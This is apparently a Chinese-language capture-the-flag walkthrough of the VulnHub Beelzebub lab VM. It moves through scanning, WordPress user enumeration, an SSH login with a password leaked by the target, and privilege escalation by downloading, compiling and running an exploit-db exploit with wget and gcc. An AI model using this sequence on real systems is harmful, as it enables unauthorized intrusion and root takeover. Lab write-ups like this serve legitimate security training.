vulnhub中Beelzebub靶机

渗透思路

  • 一.信息收集
    • 1.网段探测
    • 2.端口探测
    • 3.常见漏洞扫描
    • 4.目录扫描
    • 5.web页面分析
  • 二.渗透
    • 继续目录扫描
    • ssh连接
    • 提权
    • 提权,flag

一.信息收集

1.网段探测

┌──(root㉿kali)-[~]
└─# nmap -Pn 192.168.0.0/24 --min-rate 10000                       
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-06 07:14 EST
Nmap scan report for 192.168.0.1 (192.168.0.1)
Host is up (0.0082s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http
MAC Address: B8:3A:08:3B:F9:30 (Tenda Technology,Ltd.Dongguan branch)Nmap scan report for 192.168.0.132 (192.168.0.132)
Host is up (0.0032s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:E4:F9:77 (VMware)Nmap scan report for chronos.local (192.168.0.133)
Host is up (0.0045s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE
80/tcp  open  http
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 7C:B5:66:A5:F0:A5 (Intel Corporate)Nmap scan report for 192.168.0.130 (192.168.0.130)
Host is up (0.000015s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  sshNmap done: 256 IP addresses (4 hosts up) scanned in 1.31 seconds

2.端口探测

┌──(root㉿kali)-[~]
└─# nmap -A -sC -sV 192.168.0.132 --min-rate 10000                 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-06 07:16 EST
Nmap scan report for 192.168.0.132 (192.168.0.132)
Host is up (0.0015s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 20d1ed84cc68a5a786f0dab8923fd967 (RSA)
|   256 7889b3a2751276922af98d27c108a7b9 (ECDSA)
|_  256 b8f4d661cf1690c5071899b07c70fdc0 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:E4:F9:77 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   1.53 ms 192.168.0.132 (192.168.0.132)OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.48 seconds

3.常见漏洞扫描

┌──(root㉿kali)-[~]
└─# nmap --script=vuln -p80 192.168.0.132 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-02-06 07:17 EST
Nmap scan report for 192.168.0.132 (192.168.0.132)
Host is up (0.00087s latency).PORT   STATE SERVICE
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /phpinfo.php: Possible information file
|_  /phpmyadmin/: phpMyAdmin
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
MAC Address: 00:0C:29:E4:F9:77 (VMware)Nmap done: 1 IP address (1 host up) scanned in 31.44 seconds
┌──(root㉿kali)-[~]
└─# nikto -h 192.168.0.132                        
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.0.132
+ Target Hostname:    192.168.0.132
+ Target Port:        80
+ Start Time:         2024-02-06 08:03:38 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 59558e1434548, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Multiple index files found: /index.php, /index.html
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET 
+ /phpinfo.php: Output from the phpinfo() function was found.
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /phpinfo.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8067 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2024-02-06 08:04:57 (GMT-5) (79 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

4.目录扫描

┌──(root㉿kali)-[~]
└─# dirb http://192.168.0.132               -----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Tue Feb  6 07:18:49 2024
URL_BASE: http://192.168.0.132/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.0.132/ ----
+ http://192.168.0.132/index.html (CODE:200|SIZE:10918)                                                                                                                            
+ http://192.168.0.132/index.php (CODE:200|SIZE:271)                                                                                                                               
==> DIRECTORY: http://192.168.0.132/javascript/                                                                                                                                    
+ http://192.168.0.132/phpinfo.php (CODE:200|SIZE:95508)                                                                                                                           
==> DIRECTORY: http://192.168.0.132/phpmyadmin/                                                                                                                                    
+ http://192.168.0.132/server-status (CODE:403|SIZE:278)                                                                                                                           ---- Entering directory: http://192.168.0.132/javascript/ ----
==> DIRECTORY: http://192.168.0.132/javascript/jquery/                                                                                                                             ---- Entering directory: http://192.168.0.132/phpmyadmin/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/doc/                                                                                                                                
+ http://192.168.0.132/phpmyadmin/favicon.ico (CODE:200|SIZE:22486)                                                                                                                
+ http://192.168.0.132/phpmyadmin/index.php (CODE:200|SIZE:10633)                                                                                                                  
==> DIRECTORY: http://192.168.0.132/phpmyadmin/js/                                                                                                                                 
+ http://192.168.0.132/phpmyadmin/libraries (CODE:403|SIZE:278)                                                                                                                    
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/                                                                                                                             
+ http://192.168.0.132/phpmyadmin/phpinfo.php (CODE:200|SIZE:10635)                                                                                                                
+ http://192.168.0.132/phpmyadmin/setup (CODE:401|SIZE:460)                                                                                                                        
==> DIRECTORY: http://192.168.0.132/phpmyadmin/sql/                                                                                                                                
+ http://192.168.0.132/phpmyadmin/templates (CODE:403|SIZE:278)                                                                                                                    
==> DIRECTORY: http://192.168.0.132/phpmyadmin/themes/                                                                                                                             ---- Entering directory: http://192.168.0.132/javascript/jquery/ ----
+ http://192.168.0.132/javascript/jquery/jquery (CODE:200|SIZE:268026)                                                                                                             ---- Entering directory: http://192.168.0.132/phpmyadmin/doc/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/doc/html/                                                                                                                           ---- Entering directory: http://192.168.0.132/phpmyadmin/js/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/js/jquery/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/js/transformations/                                                                                                                 ---- Entering directory: http://192.168.0.132/phpmyadmin/locale/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/az/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/bg/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/ca/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/cs/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/da/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/de/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/el/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/es/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/et/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/fi/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/fr/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/gl/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/hu/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/ia/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/id/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/it/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/ja/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/ko/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/lt/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/nl/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/pl/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/pt/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/pt_BR/                                                                                                                       
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/ro/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/ru/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/si/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/sk/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/sl/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/sq/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/sv/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/tr/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/uk/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/vi/                                                                                                                          
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/zh_CN/                                                                                                                       
==> DIRECTORY: http://192.168.0.132/phpmyadmin/locale/zh_TW/                                                                                                                       ---- Entering directory: http://192.168.0.132/phpmyadmin/sql/ -------- Entering directory: http://192.168.0.132/phpmyadmin/themes/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/themes/original/                                                                                                                    ---- Entering directory: http://192.168.0.132/phpmyadmin/doc/html/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/doc/html/_images/                                                                                                                   
+ http://192.168.0.132/phpmyadmin/doc/html/index.html (CODE:200|SIZE:13277)                                                                                                        ---- Entering directory: http://192.168.0.132/phpmyadmin/js/jquery/ -------- Entering directory: http://192.168.0.132/phpmyadmin/js/transformations/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/az/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/bg/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/ca/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/cs/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/da/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/de/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/el/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/es/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/et/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/fi/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/fr/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/gl/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/hu/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/ia/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/id/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/it/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/ja/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/ko/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/lt/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/nl/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/pl/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/pt/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/pt_BR/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/ro/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/ru/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/si/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/sk/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/sl/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/sq/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/sv/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/tr/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/uk/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/vi/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/zh_CN/ -------- Entering directory: http://192.168.0.132/phpmyadmin/locale/zh_TW/ -------- Entering directory: http://192.168.0.132/phpmyadmin/themes/original/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/themes/original/css/                                                                                                                
==> DIRECTORY: http://192.168.0.132/phpmyadmin/themes/original/img/                                                                                                                
==> DIRECTORY: http://192.168.0.132/phpmyadmin/themes/original/jquery/                                                                                                             ---- Entering directory: http://192.168.0.132/phpmyadmin/doc/html/_images/ -------- Entering directory: http://192.168.0.132/phpmyadmin/themes/original/css/ -------- Entering directory: http://192.168.0.132/phpmyadmin/themes/original/img/ -------- Entering directory: http://192.168.0.132/phpmyadmin/themes/original/jquery/ ----
==> DIRECTORY: http://192.168.0.132/phpmyadmin/themes/original/jquery/images/                                                                                                      ---- Entering directory: http://192.168.0.132/phpmyadmin/themes/original/jquery/images/ ---------------------
END_TIME: Tue Feb  6 07:25:37 2024
DOWNLOADED: 244436 - FOUND: 12
┌──(root㉿kali)-[~]
└─# dirsearch -u "http://192.168.0.132"_|. _ _  _  _  _ _|_    v0.4.3                                                                                                                                                    (_||| _) (/_(_|| (_| )                                                                                                                                                             Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460Output File: /root/reports/http_192.168.0.132/_24-02-06_07-27-27.txtTarget: http://192.168.0.132/[07:27:27] Starting:                                                                                                                                                                
[07:27:29] 403 -  278B  - /.ht_wsr.txt                                      
[07:27:29] 403 -  278B  - /.htaccess.bak1                                   
[07:27:29] 403 -  278B  - /.htaccess.orig                                   
[07:27:30] 403 -  278B  - /.htaccessBAK                                     
[07:27:30] 403 -  278B  - /.htaccessOLD                                     
[07:27:30] 403 -  278B  - /.htaccessOLD2                                    
[07:27:30] 403 -  278B  - /.htaccess_orig
[07:27:30] 403 -  278B  - /.htaccess_sc
[07:27:30] 403 -  278B  - /.html                                            
[07:27:30] 403 -  278B  - /.htaccess.save                                   
[07:27:30] 403 -  278B  - /.htpasswds
[07:27:30] 403 -  278B  - /.htaccess_extra
[07:27:30] 403 -  278B  - /.htm
[07:27:30] 403 -  278B  - /.htaccess.sample                                 
[07:27:30] 403 -  278B  - /.htpasswd_test                                   
[07:27:30] 403 -  278B  - /.httr-oauth                                      
[07:27:31] 403 -  278B  - /.php                                             
[07:27:55] 200 -  221B  - /index.php                                        
[07:27:55] 200 -  221B  - /index.php/login/                                 
[07:27:55] 301 -  319B  - /javascript  ->  http://192.168.0.132/javascript/ 
[07:28:04] 200 -   24KB - /phpinfo.php                                      
[07:28:04] 301 -  319B  - /phpmyadmin  ->  http://192.168.0.132/phpmyadmin/ 
[07:28:05] 200 -    3KB - /phpmyadmin/index.php                             
[07:28:05] 200 -    3KB - /phpmyadmin/doc/html/index.html                   
[07:28:05] 200 -    3KB - /phpmyadmin/                                      
[07:28:09] 403 -  278B  - /server-status/                                   
[07:28:09] 403 -  278B  - /server-status

5.web页面分析

在index.php页面的原代码中,发现提示,需要将beelzebub进行md5加密

在这里插入图片描述

我们将beelzebub进行md5加密后扫一下目录
d18e1e22becbd915b45e0e655429d487

在这里插入图片描述

┌──(root㉿kali)-[~]
└─# gobuster dir -u http://192.168.0.132/d18e1e22becbd915b45e0e655429d487 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.0.132/d18e1e22becbd915b45e0e655429d487
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/wp-content           (Status: 301) [Size: 352] [--> http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/]
/wp-includes          (Status: 301) [Size: 353] [--> http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-includes/]
/wp-admin             (Status: 301) [Size: 350] [--> http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/]
Progress: 14154 / 220561 (6.42%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 15144 / 220561 (6.87%)
===============================================================
Finished
===============================================================

二.渗透

通过上面的gobuster扫描,扫到word press框架,然后使用wpscan扫描报错,且访问页面,会重定向到192.168.1.6的网页中

报错

┌──(root㉿kali)-[~]
└─#  wpscan --url http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/ -e u
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.22Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]NScan Aborted: The URL supplied redirects to http://192.168.1.6/d18e1e22becbd915b45e0e655429d487/. Use the --ignore-main-redirect option to ignore the redirection and scan the target, or change the --url option value to the redirected URL.

加参数;这里注意靶机中可以能加入了某种安全限制,导致暴力破解,会导致靶机断网,ping不到; 如发现页面访问不成功,请重启靶机


--url http://192.168.0.132/d18e1e22becbd915b45e0e655429d487: 这指定了要扫描的目标 URL
--plugins-detection aggressive: 这告诉 WPScan 使用“aggressive”(激进)模式来检测目标网站上安装的插件。
--ignore-main-redirect: 这个选项告诉 WPScan 忽略主页面上的任何重定向。
--force: 这个选项强制 WPScan 继续执行,即使它认为某些条件(如目标 URL 似乎是离线的)可能会导致扫描失败。
-e u: 这指定了 WPScan 的枚举模式。在这里,u 表示只枚举用户。
┌──(root㉿kali)-[~]
└─# wpscan --url http://192.168.0.132/d18e1e22becbd915b45e0e655429d487 --plugins-detection aggressive --ignore-main-redirect --force -e u
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.22Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/ [192.168.0.132]
[+] Started: Tue Feb  6 08:49:44 2024Interesting Finding(s):[+] Headers| Interesting Entries:|  - Server: Apache/2.4.29 (Ubuntu)|  - X-Redirect-By: WordPress| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 5.3.6 identified (Insecure, released on 2020-10-30).| Found By: Atom Generator (Aggressive Detection)|  - http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/index.php/feed/atom/, <generator uri="https://wordpress.org/" version="5.3.6">WordPress</generator>| Confirmed By: Style Etag (Aggressive Detection)|  - http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/load-styles.php, Match: '5.3.6'[i] The main theme could not be detected.[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs - Time: 00:00:00 <======================================================================================================> (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] krampus| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] valak| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Tue Feb  6 08:49:46 2024
[+] Requests Done: 54
[+] Cached Requests: 9
[+] Data Sent: 17.489 KB
[+] Data Received: 158.542 KB
[+] Memory used: 155.383 MB
[+] Elapsed time: 00:00:01

这里我们爆出来krampus/valak两个用户

继续目录扫描

┌──(root㉿kali)-[~]
└─# dirb http://192.168.0.132/d18e1e22becbd915b45e0e655429d487                          -----------------
DIRB v2.22    
By The Dark Raver
-----------------START_TIME: Tue Feb  6 09:09:32 2024
URL_BASE: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt-----------------GENERATED WORDS: 4612                                                          ---- Scanning URL: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/ ----
+ http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/index.php (CODE:200|SIZE:57718)                                                                                            
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/                                                                                                     
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/                                                                                                   
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-includes/                                                                                                  
+ http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/xmlrpc.php (CODE:405|SIZE:42)                                                                                              ---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/ ----
+ http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/admin.php (CODE:302|SIZE:0)                                                                                       
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/css/                                                                                                 
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/images/                                                                                              
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/includes/                                                                                            
+ http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/index.php (CODE:302|SIZE:0)                                                                                       
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/js/                                                                                                  
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/maint/                                                                                               
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/network/                                                                                             
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/user/                                                                                                ---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/ ----
+ http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/index.php (CODE:200|SIZE:0)                                                                                     
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/plugins/                                                                                           
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/themes/                                                                                            
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/upgrade/                                                                                           
==> DIRECTORY: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/                                                                                           ---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/includes/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)---- Entering directory: http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-admin/maint/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        (Use mode '-w' if you want to scan it anyway)
在http://192.168.0.132/d18e1e22becbd915b45e0e655429d487/wp-content/uploads/目录下发现一个奇快的目录Talk,点击

在这里插入图片描述

随便输入一个名字,在返回的request包中,包含password:M4k3Ad3a1

在这里插入图片描述

ssh连接

将扫描出来的用户,都用这个密码登陆,得出krampus/M4k3Ad3a1

┌──(root㉿kali)-[~]
└─# ssh krampus@192.168.0.132                             
The authenticity of host '192.168.0.132 (192.168.0.132)' can't be established.
ED25519 key fingerprint is SHA256:z1Xg/pSBrK8rLIMLyeb0L7CS1YL4g7BgCK95moiAYhQ.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.132' (ED25519) to the list of known hosts.
krampus@192.168.0.132's password: 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-53-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantage* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8sjust raised the bar for easy, resilient and secure K8s cluster deployment.https://ubuntu.com/engage/secure-kubernetes-at-the-edge* Canonical Livepatch is available for installation.- Reduce system reboots and improve kernel security. Activate at:https://ubuntu.com/livepatch516 packages can be updated.
388 updates are security updates.New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.Your Hardware Enablement Stack (HWE) is supported until April 2023.
Last login: Sat Mar 20 00:38:04 2021 from 192.168.1.7
krampus@beelzebub:~$

提权

查看.bash_history,看到提权的方法

krampus@beelzebub:~$ ls -al
total 104
drwsrwxrwx 17 krampus krampus  4096 Mar 20  2021 .
drwxr-xr-x  3 root    root     4096 Mar 16  2021 ..
-rw-------  1 krampus krampus  1407 Mar 20  2021 .bash_history
drwx------ 11 krampus krampus  4096 Mar 20  2021 .cache
drwxrwxrwx 14 krampus krampus  4096 May 26  2020 .config
drwxrwxrwx  3 krampus krampus  4096 Oct 20  2019 .dbus
drwxrwxrwx  2 krampus krampus  4096 Mar 19  2021 Desktop
........krampus@beelzebub:~$ cat .bash_history 
.....
wget https://www.exploit-db.com/download/47009
clear
ls
clear
mv 47009 ./exploit.c
gcc exploit.c -o exploit
./exploit 
....

提权,flag

krampus@beelzebub:~$ cd /tmp
krampus@beelzebub:/tmp$ wget https://www.exploit-db.com/download/47009
--2024-02-06 19:54:50--  https://www.exploit-db.com/download/47009
Resolving www.exploit-db.com (www.exploit-db.com)... 192.124.249.13
Connecting to www.exploit-db.com (www.exploit-db.com)|192.124.249.13|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 619 [application/txt]
Saving to: ‘47009’47009                                        100%[==============================================================================================>]     619  --.-KB/s    in 0s      2024-02-06 19:54:51 (95.8 MB/s) - ‘47009’ saved [619/619]krampus@beelzebub:/tmp$ mv 47009 ./shell.c
krampus@beelzebub:/tmp$ gcc shell.c -o shell
krampus@beelzebub:/tmp$ chmod +x shell
krampus@beelzebub:/tmp$ ./shell
